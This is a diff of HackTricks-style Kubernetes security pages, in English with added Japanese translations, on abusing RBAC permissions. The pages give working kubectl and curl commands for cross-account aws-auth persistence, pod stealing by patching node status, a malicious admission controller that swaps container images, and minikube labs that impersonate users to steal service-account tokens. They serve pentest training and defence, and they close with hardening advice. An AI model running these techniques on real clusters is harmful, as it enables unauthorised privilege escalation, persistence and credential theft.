@@ -438,76 +399,74 @@ eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
```
> [!WARNING]
> You can use **`aws-auth`** for **persistence** giving access to users from **other accounts**.
> **`aws-auth`**を使用して**永続性**を持たせ、**他のアカウント**のユーザーにアクセスを与えることができます。
>
> However, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **doesn't work from a different acount**. But actually `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` works if you put the ARN of the cluster instead of just the name.\
> To make `kubectl` work, just make sure to **configure** the **victims kubeconfig** and in the aws exec args add `--profile other_account_role` so kubectl will be using the others account profile to get the token and contact AWS.
> しかし、`aws --profile other_account eks update-kubeconfig --name <cluster-name>`は**異なるアカウントからは動作しません**。しかし実際には、`aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing`は、名前の代わりにクラスタのARNを指定すれば動作します。\
> `kubectl`を動作させるには、**被害者のkubeconfigを設定**し、aws exec argsに`--profile other_account_role`を追加するだけで、kubectlは他のアカウントのプロファイルを使用してトークンを取得し、AWSに連絡します。
### Escalating in GKE
### GKEでの権限昇格
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
**GCPのプリンシパルにK8sの権限を割り当てる方法は2つあります**。いずれの場合も、プリンシパルはクラスタにアクセスするための資格情報を取得するために**`container.clusters.get`**の権限が必要です。そうでなければ、**自分自身のkubectl設定ファイルを生成する必要があります**（次のリンクを参照）。
> [!WARNING]
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
> K8s APIエンドポイントに話しかけると、**GCP認証トークンが送信されます**。その後、GCPはK8s APIエンドポイントを通じて、最初に**プリンシパル**（メールアドレスによる）が**クラスタ内にアクセス権を持っているかどうかを確認し**、次に**GCP IAMを介してアクセス権を持っているかどうかを確認します**。\
> もし**いずれか**が**真**であれば、**応答**されます。**そうでなければ**、**GCP IAMを介して権限を与える**ことを提案する**エラー**が表示されます。
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
最初の方法は**GCP IAM**を使用することで、K8sの権限には**同等のGCP IAM権限**があります。プリンシパルがそれを持っていれば、使用することができます。
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
2つ目の方法は、**クラスタ内でK8sの権限を割り当てる**ことで、ユーザーをその**メールアドレス**で特定します（GCPサービスアカウントを含む）。
### Create serviceaccounts token
### サービスアカウントトークンの作成
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
**TokenRequests**（`serviceaccounts/token`）を**作成できるプリンシパル**。K8s APIエンドポイントに話しかけると、SAs（[**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)からの情報）。
### ephemeralcontainers
Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext
**`update`**または**`patch`**を**`pods/ephemeralcontainers`**に対して行えるプリンシパルは、**他のポッドでコード実行を得る**ことができ、特権のあるsecurityContextを持つ一時的なコンテナを追加することで**ノードから抜け出す**可能性があります。
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
### ValidatingWebhookConfigurationsまたはMutatingWebhookConfigurations
Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**.
`validatingwebhookconfigurations`または`mutatingwebhookconfigurations`に対して`create`、`update`、または`patch`のいずれかの動詞を持つプリンシパルは、**権限を昇格させるためにそのようなwebhookconfigurationsの1つを作成できる**可能性があります。
For a [`mutatingwebhookconfigurations` example check this section of this post](./#malicious-admission-controller).
[`mutatingwebhookconfigurations`の例については、この投稿のこのセクションを確認してください](./#malicious-admission-controller)。
### Escalate
### 昇格
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](./#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate`** over **`roles`** or **`clusterroles`.**\
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
次のセクションで読むことができるように：[**組み込みの特権昇格防止**](./#built-in-privileged-escalation-prevention)、プリンシパルは新しい権限を持たずにロールやクラスターのロールを更新または作成することはできません。**`roles`**または**`clusterroles`**に対して**動詞`escalate`**を持っている場合を除いて。\
その場合、彼はより良い権限を持つ新しいロールやクラスターのロールを更新/作成できます。
### Nodes proxy
### ノードプロキシ
Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
**`nodes/proxy`**サブリソースにアクセスできるプリンシパルは、Kubelet APIを介して**ポッドでコードを実行**できます（[**こちら**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)による）。Kubelet認証に関する詳細情報はこのページにあります：
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
You have an example of how to get [**RCE talking authorized to a Kubelet API here**](../pentesting-kubernetes-services/#kubelet-rce).
[**Kubelet APIに認可された状態でRCEを取得する方法の例はこちら**](../pentesting-kubernetes-services/#kubelet-rce)。
### Delete pods + unschedulable nodes
Principals that can **delete pods** (`delete` verb over `pods` resource), or **evict pods** (`create` verb over `pods/eviction` resource), or **change pod status** (access to `pods/status`) and can **make other nodes unschedulable** (access to `nodes/status`) or **delete nodes** (`delete` verb over `nodes` resource) and has control over a pod, could **steal pods from other nodes** so they are **executed** in the **compromised** **node** and the attacker can **steal the tokens** from those pods.
### ポッドの削除 + スケジュール不可ノード
**ポッドを削除できる**（`pods`リソースに対する`delete`動詞）、または**ポッドを追い出す**（`pods/eviction`リソースに対する`create`動詞）、または**ポッドの状態を変更できる**（`pods/status`へのアクセス）プリンシパルは、**他のノードをスケジュール不可にする**（`nodes/status`へのアクセス）ことができ、**ノードを削除**（`nodes`リソースに対する`delete`動詞）でき、ポッドを制御している場合、**他のノードからポッドを盗む**ことができ、そうすることで**侵害された****ノード**で**実行され**、攻撃者はそれらのポッドから**トークンを盗む**ことができます。
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
@@ -515,49 +474,45 @@ while true; do patch_node_capacity <id_other_node>; done &
kubectl delete pods -n kube-system <privileged_pod_name>
```
### サービスのステータス (CVE-2020-8554)
### Services status (CVE-2020-8554)
**`services/status`** を **修正** できるプリンシパルは、`status.loadBalancer.ingress.ip` フィールドを設定して **未修正の CVE-2020-8554** を悪用し、**クラスターに対する MiTM 攻撃** を開始することができます。CVE-2020-8554 のほとんどの緩和策は、ExternalIP サービスを防ぐだけです（[**これ**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego) に従って）。
Principals that can **modify** **`services/status`** may set the `status.loadBalancer.ingress.ip` field to exploit the **unfixed CVE-2020-8554** and launch **MiTM attacks against the clus**ter. Most mitigations for CVE-2020-8554 only prevent ExternalIP services (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### ノードとポッドのステータス
### Nodes and Pods status
`nodes/status` または `pods/status` に対して **`update`** または **`patch`** 権限を持つプリンシパルは、スケジューリング制約に影響を与えるラベルを修正できます。
Principals with **`update`** or **`patch`** permissions over `nodes/status` or `pods/status`, could modify labels to affect scheduling constraints enforced.
## 組み込みの特権昇格防止
## Built-in Privileged Escalation Prevention
Kubernetes には、特権昇格を防ぐための [組み込みメカニズム](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) があります。
Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) to prevent privilege escalation.
このシステムは、**ユーザーが役割や役割バインディングを修正することによって特権を昇格させることができない**ことを保証します。このルールの施行は API レベルで行われ、RBAC 認証者が非アクティブな場合でも保護を提供します。
This system ensures that **users cannot elevate their privileges by modifying roles or role bindings**. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive.
The rule stipulates that a **user can only create or update a role if they possess all the permissions the role comprises**. Moreover, the scope of the user's existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles.
このルールは、**ユーザーは役割が含むすべての権限を持っている場合にのみ役割を作成または更新できる**ことを定めています。さらに、ユーザーの既存の権限の範囲は、作成または修正しようとしている役割の範囲と一致しなければなりません：ClusterRoles の場合はクラスター全体、Roles の場合は同じネームスペース（またはクラスター全体）に制限されます。
> [!WARNING]
> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.
> 前述のルールには例外があります。プリンシパルが **`roles`** または **`clusterroles`** に対して **動詞 `escalate`** を持っている場合、彼は自分自身が権限を持っていなくても役割やクラスター役割の特権を増加させることができます。
### **Get & Patch RoleBindings/ClusterRoleBindings**
### **RoleBindings/ClusterRoleBindings の取得とパッチ**
> [!CAUTION]
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
> **この技術は以前は機能していましたが、私のテストによると、前のセクションで説明した理由でもはや機能していません。権限を持っていない場合、役割バインディングを作成/修正して自分自身または別の SA に特権を与えることはできません。**
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
Rolebindings を作成する特権は、ユーザーが **サービスアカウントに役割をバインドする** ことを可能にします。この特権は、**ユーザーが侵害されたサービスアカウントに管理者特権をバインドできるため、特権昇格につながる可能性があります。**
## Other Attacks
## その他の攻撃
### Sidecar proxy app
### サイドカー プロキシ アプリ
By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod.
デフォルトでは、ポッド間の通信には暗号化がありません。相互認証、双方向、ポッドからポッドへ。
#### Create a sidecar proxy app <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
Create your .yaml
#### サイドカー プロキシ アプリの作成 <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
あなたの .yaml を作成してください。
```bash
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
```
Edit your .yaml and add the uncomment lines:
.yamファイルを編集し、コメントアウトされていない行を追加します:
```yaml
#apiVersion: v1
#kind: Pod
@@ -575,83 +530,70 @@ Edit your .yaml and add the uncomment lines:
# - name: sec-ctx-demo
# image: busybox
command:
[
"sh",
"-c",
"apt update && apt install iptables -y && iptables -L && sleep 1h",
]
[
"sh",
"-c",
"apt update && apt install iptables -y && iptables -L && sleep 1h",
]
securityContext:
capabilities:
add: ["NET_ADMIN"]
capabilities:
add: ["NET_ADMIN"]
# volumeMounts:
# - name: sec-ctx-vol
# mountPath: /data/demo
# securityContext:
# allowPrivilegeEscalation: true
```
See the logs of the proxy:
プロキシのログを確認してください：
```bash
kubectl logs app -C proxy
```
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Malicious Admission Controller
### 悪意のあるAdmission Controller
An admission controller **intercepts requests to the Kubernetes API server** before the persistence of the object, but **after the request is authenticated** **and authorized**.
Admission Controllerは、オブジェクトの永続化の前にKubernetes APIサーバーへのリクエストを**傍受**しますが、**リクエストが認証**され、**承認**された後です。
If an attacker somehow manages to **inject a Mutationg Admission Controller**, he will be able to **modify already authenticated requests**. Being able to potentially privesc, and more usually persist in the cluster.
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
攻撃者が何らかの方法で**Mutationg Admission Controllerを注入**することに成功すれば、**すでに認証されたリクエストを変更**することができます。これにより、潜在的に権限昇格が可能になり、通常はクラスター内に持続することができます。
**例は** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) から:
```bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
```
Check the status to see if it's ready:
ステータスを確認して、準備ができているかどうかを確認します：
```bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
```
![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)
Then deploy a new pod:
次に、新しいポッドをデプロイします：
```bash
kubectl run nginx --image nginx
kubectl get po -w
```
When you can see `ErrImagePull` error, check the image name with either of the queries:
`ErrImagePull` エラーが表示された場合は、次のいずれかのクエリでイメージ名を確認してください:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
As you can see in the above image, we tried running image `nginx` but the final executed image is `rewanthtammana/malicious-image`. What just happened!!?
上の画像に示されているように、私たちはイメージ `nginx` を実行しようとしましたが、最終的に実行されたイメージは `rewanthtammana/malicious-image` です。何が起こったのでしょうか？
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
The `./deploy.sh` script establishes a mutating webhook admission controller, which modifies requests to the Kubernetes API as specified in its configuration lines, influencing the outcomes observed:
`./deploy.sh` スクリプトは、Kubernetes APIへのリクエストをその設定行に従って変更するミューテイティングウェブフックアドミッションコントローラーを確立します。これにより、観察される結果に影響を与えます：
```
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`.
## OPA Gatekeeper bypass
@@ -662,20 +604,20 @@ The above snippet replaces the first container image in every pod with `rewantht
## Best Practices
### **Disabling Automount of Service Account Tokens**
### **サービスアカウントトークンの自動マウントを無効にする**
- **Pods and Service Accounts**: By default, pods mount a service account token. To enhance security, Kubernetes allows the disabling of this automount feature.
- **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6.
- **ポッドとサービスアカウント**: デフォルトでは、ポッドはサービスアカウントトークンをマウントします。セキュリティを強化するために、Kubernetesはこの自動マウント機能を無効にすることを許可しています。
- **適用方法**: Kubernetesバージョン1.6以降、サービスアカウントまたはポッドの設定で`automountServiceAccountToken: false`を設定します。
### **Restrictive User Assignment in RoleBindings/ClusterRoleBindings**
### **RoleBindings/ClusterRoleBindingsにおける制限されたユーザー割り当て**
- **Selective Inclusion**: Ensure that only necessary users are included in RoleBindings or ClusterRoleBindings. Regularly audit and remove irrelevant users to maintain tight security.
- **選択的な含有**: RoleBindingsまたはClusterRoleBindingsに必要なユーザーのみを含めるようにします。定期的に監査し、関連性のないユーザーを削除して厳格なセキュリティを維持します。
### **Namespace-Specific Roles Over Cluster-Wide Roles**
### **クラスター全体のロールよりも名前空間特有のロールを使用する**
- **Roles vs. ClusterRoles**: Prefer using Roles and RoleBindings for namespace-specific permissions rather than ClusterRoles and ClusterRoleBindings, which apply cluster-wide. This approach offers finer control and limits the scope of permissions.
- **ロールとClusterRoles**: クラスター全体に適用されるClusterRolesおよびClusterRoleBindingsではなく、名前空間特有の権限にはRolesおよびRoleBindingsを使用することを推奨します。このアプローチは、より細かい制御を提供し、権限の範囲を制限します。
### **Use automated tools**
### **自動化ツールを使用する**
{{#ref}}
https://github.com/cyberark/KubiScan
@@ -689,14 +631,10 @@ https://github.com/aquasecurity/kube-hunter
https://github.com/aquasecurity/kube-bench
{{#endref}}
## **References**
## **参考文献**
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
{{#include ../../../banners/hacktricks-training.md}}

534
src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md
View File

@@ -2,24 +2,23 @@
{{#include ../../../banners/hacktricks-training.md}}
You can run these labs just inside **minikube**.
これらのラボは**minikube**内で実行できます。
## Pod Creation -> Escalate to ns SAs
We are going to create:
私たちは以下を作成します：
- A **Service account "test-sa"** with a cluster privilege to **read secrets**
- A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
- **Permissions** to list and **create** pods to a user called "**Test**" will be given
- A Role "test-r" and RoleBinding "test-rb" will be created
- Then we will **confirm** that the SA can list secrets and that the user Test can list a pods
- Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.**
- This is the way yo show the user could escalate privileges this way
- **Service account "test-sa"** を作成し、**シークレットを読む**ためのクラスター権限を付与します
- ClusterRole "test-cr" と ClusterRoleBinding "test-crb" が作成されます
- **Test**というユーザーにポッドを**リスト**し、**作成**するための**権限**が与えられます
- Role "test-r" と RoleBinding "test-rb" が作成されます
- 次に、SAがシークレットをリストできること、ユーザーTestがポッドをリストできることを**確認**します
- 最後に、**ユーザーTestを偽装**して、**SA test-sa**を含む**ポッドを作成**し、サービスアカウントの**トークンを盗みます**。
- これは、ユーザーがこの方法で権限を昇格できることを示す方法です
> [!NOTE]
> To create the scenario an admin account is used.\
> Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, **as explained here**, the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
> シナリオを作成するために管理者アカウントが使用されます。\
> さらに、この例では**saトークンを外部に持ち出すために管理者アカウントが使用され**、作成されたポッド内でexecします。しかし、**ここで説明されているように**、**ポッドの宣言にはトークンの外部持ち出しが含まれる可能性があるため**、"exec"権限はトークンを外部に持ち出すために必要ではなく、**"create"権限で十分です**。
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
@@ -28,53 +27,53 @@ We are going to create:
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
name: test-r
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
@@ -86,17 +85,17 @@ kubectl --as Test -n default get pods
echo "apiVersion: v1
kind: Pod
metadata:
name: test-pod
namespace: default
name: test-pod
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
@@ -109,9 +108,7 @@ kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
## Create Daemonset
## Daemonsetの作成
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
@@ -120,51 +117,51 @@ kubectl delete serviceaccount test-sa
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
name: test-rb
subjects:
- kind: User
name: Test
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
@@ -176,25 +173,25 @@ kubectl --as Test -n default get daemonsets
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
@@ -207,13 +204,11 @@ kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
### Patch Daemonset
In this case we are going to **patch a daemonset** to make its pod load our desired service account.
If your user has the **verb update instead of patch, this won't work**.
この場合、**daemonsetをパッチ**して、そのポッドが私たちの望むサービスアカウントをロードするようにします。
ユーザーが**patchの代わりにupdateの動詞を持っている場合、これは機能しません**。
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
@@ -222,73 +217,73 @@ If your user has the **verb update instead of patch, this won't work**.
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
name: test-rb
subjects:
- kind: User
name: Test
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -
# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets
@@ -297,25 +292,25 @@ kubectl --as Test -n default get daemonsets
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
@@ -328,86 +323,84 @@ kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
## 動作しない
## Doesn't work
### バインディングの作成/パッチ
### Create/Patch Bindings
**Doesn't work:**
- **Create a new RoleBinding** just with the verb **create**
- **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
- You cannot do this to assign the role to yourself or to a different SA
- **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
- You cannot do this to assign the role to yourself or to a different SA
**動作しない:**
- **新しいRoleBindingを作成**する際に動詞**create**のみを使用
- **新しいRoleBindingを作成**する際に動詞**patch**のみを使用（バインディング権限が必要）
- 自分自身または別のSAに役割を割り当てるためにこれを行うことはできません
- **新しいRoleBindingを修正**する際に動詞**patch**のみを使用（バインディング権限が必要）
- 自分自身または別のSAに役割を割り当てるためにこれを行うことはできません
```bash
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
